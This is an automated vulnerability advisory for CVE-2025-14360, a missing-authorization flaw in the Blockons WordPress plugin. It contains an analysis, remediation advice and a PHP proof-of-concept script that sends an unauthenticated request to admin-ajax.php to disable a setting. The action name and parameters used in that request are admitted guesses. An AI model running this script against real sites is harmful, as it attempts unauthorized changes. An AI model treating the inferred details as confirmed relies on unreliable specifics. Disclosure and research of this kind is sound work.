Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14360: Blockons <= 1.2.15 – Missing Authorization (blockons)

Plugin blockons
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.2.15
Patched Version
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14360 (metadata-based):
This vulnerability in the Blockons WordPress plugin (versions <= 1.2.15) is a Missing Authorization flaw. It allows unauthenticated attackers to trigger a specific plugin function, leading to an unauthorized action. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) indicates a network-based attack with low complexity, no privileges required, no user interaction, and low impact on integrity.

CWE-862 (Missing Authorization) directly points to the root cause. The plugin registers a function, likely via a WordPress AJAX hook or a REST API endpoint, without performing a proper capability check. Atomic Edge research infers this function was accessible via `wp_ajax_nopriv_` or a similarly unprotected hook. The description confirms the absence of a capability check but does not specify the exact function or action name. These conclusions are inferred from the CWE classification and standard WordPress plugin patterns.

Exploitation involves sending a crafted HTTP request to a WordPress endpoint that triggers the vulnerable function. The most probable attack vector is the WordPress AJAX handler (`/wp-admin/admin-ajax.php`). An attacker would send a POST request with an `action` parameter set to a value like `blockons_{specific_action}`. Without a code diff, the exact action name is unknown, but it would be derived from the plugin's hook registration. The payload would include any parameters the vulnerable function expects to execute the unauthorized action.

Remediation requires adding a proper authorization check before the vulnerable function executes. The fix should verify the current user's capabilities using a WordPress function like `current_user_can()`. For administrative actions, a check for `manage_options` or a custom capability is typical. If the function should remain accessible to unauthenticated users, the plugin must implement a nonce check or another form of request validation to ensure intent. The patched version would also need to ensure the function is not registered on an unprotected hook like `wp_ajax_nopriv_`.

The direct impact is an unauthorized action, which the CVSS metrics classify as a low-integrity impact (I:L). Based on the CWE and common patterns for this plugin type, Atomic Edge analysis assesses the likely impact as unauthorized modification of plugin-specific settings or data. This could involve disabling security features, altering displayed content, or manipulating configuration stored in the WordPress database. The vulnerability does not lead to information disclosure (C:N) or a direct denial of service (A:N).

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14360 - Blockons <= 1.2.15 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-14360.
 * This script attempts to exploit a Missing Authorization vulnerability in the Blockons plugin.
 * The exact AJAX action name is unknown without source code. This PoC demonstrates the attack pattern.
 * Assumptions:
 *   1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
 *   2. The action parameter follows WordPress convention (e.g., 'blockons_update_settings').
 *   3. The function expects a parameter like 'setting' and 'value'.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// The specific action name is inferred from the plugin slug but is unconfirmed.
// Common patterns include: blockons_save, blockons_update, blockons_clear_cache.
$inferred_action = 'blockons_update_settings';

$post_data = array(
    'action' => $inferred_action,
    'setting' => 'security_mode', // Example target setting
    'value' => 'disabled'         // Example malicious value
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Bypass SSL verification in test environments only
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Sent POST to: $target_urln";
echo "Action parameter: $inferred_actionn";
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploitation might return a specific JSON response or a '1'.
if ($http_code == 200 && !empty($response)) {
    echo "Potential exploitation attempt completed. Verify plugin state.n";
} else {
    echo "Request failed or endpoint not responsive. The inferred action may be incorrect.n";
}
?>

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